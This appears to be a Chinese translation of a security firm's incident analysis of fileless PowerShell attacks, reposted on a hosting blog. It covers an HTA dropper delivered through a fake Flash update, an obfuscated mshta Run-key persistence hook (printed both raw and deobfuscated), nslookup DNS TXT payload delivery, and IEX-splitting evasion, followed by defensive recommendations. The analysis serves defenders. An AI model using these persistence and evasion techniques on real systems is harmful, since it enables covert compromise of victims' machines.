PowerShell注入技巧:无盘持久性和绕过技术

写在前面的话

PowerShell是网络安全专家、IT管理员以及黑客们最喜欢的工具之一,这一点是毋庸置疑的。PowerShell的可扩展性和其强大的功能让微软操作系统的可控制程度上升到了一个前所未有的等级。简单说来,Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境,而它可以算是颠覆了传统的命令行提示符-cmd.exe。

在Binary Defense(一家专业从事网络安全业务的公司)中有着大量PowerShell的拥护者,无论是进行自动化测试也好,还是进行复杂的程序分析也罢,PowerShell都是他们的首选工具。除此之外,像PowerShell Empire以及PowerSploit这样的工具也是网络安全研究领域以及黑客的挚爱。

[[190526]]

攻击分析

我们通常可以看到很多利用PowerShell的攻击向量,而且在昨天晚上,我们的终端安全检测与应急响应平台(Vision)检测到了一个使用了多种方法来实现攻击持久化并规避传统反病毒技术的攻击事件。它所使用的第一种方法是让目标用户访问一个需要升级Adobe Flash浏览器插件的网站,而攻击者在这里需要使用到mshta.exe(一种HTA攻击方法),MSHTA.exe是微软的一个合法程序,它可以在任何浏览器中随时调用。但是在大多数情况下,它并不是合法的扩展,因此我们建议用户在配置防火墙时屏蔽所有的HTA扩展。因为HTA文件允许我们调用任意的命令,而攻击者同样可以做到这一点,所以启用HTA扩展很有可能让我们的主机遭到攻击。

需要注意的是,这个攻击向量在很多年前就已经嵌入在了Unicorn和社会工程学工具套件(SET)之中了。

此时,如果系统弹出了提示框,而攻击者又根据提示框中的信息进行了操作(打开-open),那么目标用户将会被攻击。攻击向量可以是一个VBS下载器、PowerShell,或者是一段下载后自动执行的恶意代码。只要用户点击了“Open”,任何事情都有可能会发生。但是在我们近期所研究的攻击案例中,攻击者使用了HTA攻击方法作为攻击的初始阶段和Dropper。

页面会发起一个恶意HTA,当用户打开了这个HTA之后,Vision会立刻检测到其恶意行为:

当文件被打开之后,一段PowerShell命令将会被执行。一般情况下攻击者会通过PowerShell发动SYSWOW64降级攻击,这种攻击向量可以将进程降级为32位进程,并实现shellcode注入攻击,而且Unicorn/SET多年以来一直都在使用这种技术。

在对具体的日志记录进行了分析之后我们发现,很多攻击者会使用Invoke-Expression(IEX)来提取出特定的注册表键,并实现持久化钩子。在PowerShell的初始调用中,变量名和持久化钩子都经过了混淆处理。大致如下图所示:

在这种攻击中,注册表入口位于CurrentVersion\Run,而这里也是持久化钩子的起始位置。

日志信息如下:

混淆后的持久化注册表钩子:

  1. HKEY_USERS:SANITIZED\Software\Microsoft\Windows\CurrentVersion\Run 
  2. "C:\Windows\system32\mshta.exe" "about:<script>c1hop="X642N10";R3I=new%20ActiveXObject("WScript.Shell");QR3iroUf="I7pL7";k9To7P=R3I.RegRead("HKCU\\software\\bkzlq\\zsdnhepyzs");J7UuF1n="Q2LnLxas";eval(k9To7P);JUe5wz3O="zSfmLod";</script>

反混淆后的持久化注册表钩子:

  1. <script> 
  2. WScript_Shell_Object = new ActiveXObject("WScript.Shell"); 
  3. Registry_Key_Value=WScript_Shell_Object.RegRead("HKCU\\software\\bkzlq\\zsdnhepyzs"); 
  4. eval(Registry_Key_Value); 
  5. </script> 

这种就是我们所称之为的无文件攻击向量,因为它不需要向硬盘写入任何内容,它唯一需要的就是注册表键,并通过运行注册表键来在目标系统中实现持久化注入。在我们的攻击场景中,mshta.exe将利用嵌入了PowerShell指令的WScript.shell来调用特定的注册表键,而且传统的反病毒产品以及目前绝大多数安全解决方案都无法检测到这种无文件的持久化攻击。

利用原生的PowerShell以及mshta,攻击者将可以通过传统的感染技术来实现系统入侵,而且完全不需要下载额外的恶意代码或安插系统后门。在此过程中,大多数攻击者会选择使用Invoke-Expression,但是具体的攻击实现方法也是多种多样的。近期,安全研究专家Vincent Yiu(@vysecurity)演示了一种无需调用IEX和ExcodedCommand就可以绕过传统检测技术的攻击方法,而且目前很多高级攻击者也在广泛使用这种技术。有关这项技术的更多详细内容请参考Vincent Yiu的Twitter:

在这个例子中,网站的TXT记录将会下载PowerShell命令,并通过nslookup在系统中执行这些命令。这也就意味着,我们可以将命令注入在DNS的TXT记录中,然后让系统自动执行这些PowerShell命令。Vision所检测到的一种恶意行为模式如下:

如果检测到了nslookup或者代码提取行为,那么Vision将能够迅速识别出PowerShell代码中的nslookup请求以及TXT记录中的恶意代码。需要注意的是,Vencent Yiu所提供的方法只能执行一个文件而无法执行代码本身,因此我们还需要其他的命令从nslookup TXT记录中提取出代码并执行它们。

安全研究专家Daniel Bohannon给出了一种不同的实现方法,但这种方法仍然需要用到IEX。演示样例如下:

  1. $nslookupResult1 = 'iex' 
  2. $nslookupResult2 = 'Write-Host THIS IS MY ACTUAL PAYLOAD -f green' 
  3. . $nslookupResult1 $nslookupResult2 
  4.    
  5. or even better: 
  6.    
  7. $nslookupAllInOne = @('iex','Write-Host ALL IN ONE -f green') 
  8. . $nslookupAllInOne[0] $nslookupAllInOne[1] 

下图为Vision所识别出的一种特定攻击模式:

应对方案

对于那些没有使用Vision代码防御平台的企业来说,可以采用以下几种实践方法来防止攻击者利用PowerShell攻击企业的网络系统:

  • 限制PowerShell命令的字符长度;
  • 限制PowerShell的语言模式;
  • 启用增强型PowerShell;(参考资料);
  • 定期执行威胁检测以尽早识别出可疑活动;
  • 审查DNS日志并寻找可疑的控制命令和DNS请求;
  • 搜索可疑的System.Management.Automation.dll以及System.Management.Automation.ni.dll
  • 利用类似Sysmon这样的工具来检测和记录可疑进程;
  • 在正常情况下禁止普通用户执行PowerShell命令(AppLocker +Device Guard可以防止普通用户使用PowerShell);
  • 监控powershell.exe的子进程以及可能存在的钩子;
  • 搜索powershell.exe派生出的32位PowerShell子进程,这也是一种shellcode注入技术的典型检测方法;

更多内容请参考Matthew Graeber的Twitter;

总结

由于安全研究人员和网络攻击者会遇到越来越先进的PowerShell以及相应的检测绕过技术,那些基于模式识别的传统检测方法已经不能再仅仅依靠恶意PowerShell来完成检测了,而且随着代码混淆技术的不断发展,安全防御人员的工作更是难上加难。因此,我们只有尽早地识别出可疑的行为模式,才能够降低个人用户和企业用户受到攻击的可能性。

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/142125.html<

(0)
管理的头像管理
上一篇2025-03-09 02:24
下一篇 2025-03-09 02:25

相关推荐

  • 站群服务器和普通服务器到底哪个更适合GEO,怎么选?

    站群服务器更适合需要批量管理多个独立站点进行SEO的策略,而普通服务器在单站点权威性和稳定性上更优,但2026年百度对内容质量的要求让两者选择更依赖业务模式,站群服务器与普通服务器的核心差异定义与适用场景站群服务器本质是一台独享物理服务器,提供多个独立IP段(常为16、32或64个C段IP),每个IP绑定一个独……

    2026-07-28
    0
  • 物理服务器和云服务器做站群到底选哪个,哪个更稳定?

    做站群,物理服务器在核心指标上完全优于云服务器,尤其是对于追求稳定和长期排名的项目,物理服务器是唯一合理的选择,为什么物理服务器更适合站群站群的核心逻辑在于利用多个独立IP和站点,构建一个在网络中看似分散、但实际相互关联的矩阵,搜索引擎对IP关联性极其敏感,一旦检测到大量站点共享同一IP段或同一母机,惩罚风险会……

    2026-07-28
    0
  • 国内高防服务器哪家防御真实靠谱,怎么选?

    国内高防服务器哪家防御真实靠谱?答案很明确:只有那些持证上岗、自建机房、自己掌握清洗算法的服务商才靠得住,简米科技和酷番云就是这类代表,判断高防服务器真实防御能力的三个硬指标很多朋友选高防服务器,上来就问“你家多少G防御”,但数字背后水分很大,要判断防御是否真实,得看这三个方面:防御带宽是否独享? 有些服务商宣……

    2026-07-28
    0
  • 裸金属服务器和物理服务器有什么区别?,怎么选?

    裸金属服务器和物理服务器本质上是同一类硬件,核心区别在于交付逻辑和管理方式, 裸金属服务器是云服务商将物理服务器以云化方式交付,支持自动化部署、弹性伸缩和按需计费;而物理服务器通常指用户自购或托管,需要自行承担运维,两者在硬件层面完全相同,但业务模型和运维成本差异显著,裸金属服务器与物理服务器的定义差异裸金属服……

    2026-07-28
    0
  • 做GEO站群选哪家服务器服务商靠谱,怎么选?

    做SEO站群,选择服务器服务商的核心在于机房资质、IP资源与售后响应——简米科技与酷番云凭借持牌自营机房和多项权威认证,成为众多站群运营者的首选,站群服务器的高要求从何而来SEO站群依赖大量独立域名和IP地址,通过矩阵化布局获取长尾流量,搜索引擎对站群的识别逻辑越来越严,如果IP段集中、或服务器存在违规记录,很……

    2026-07-28
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注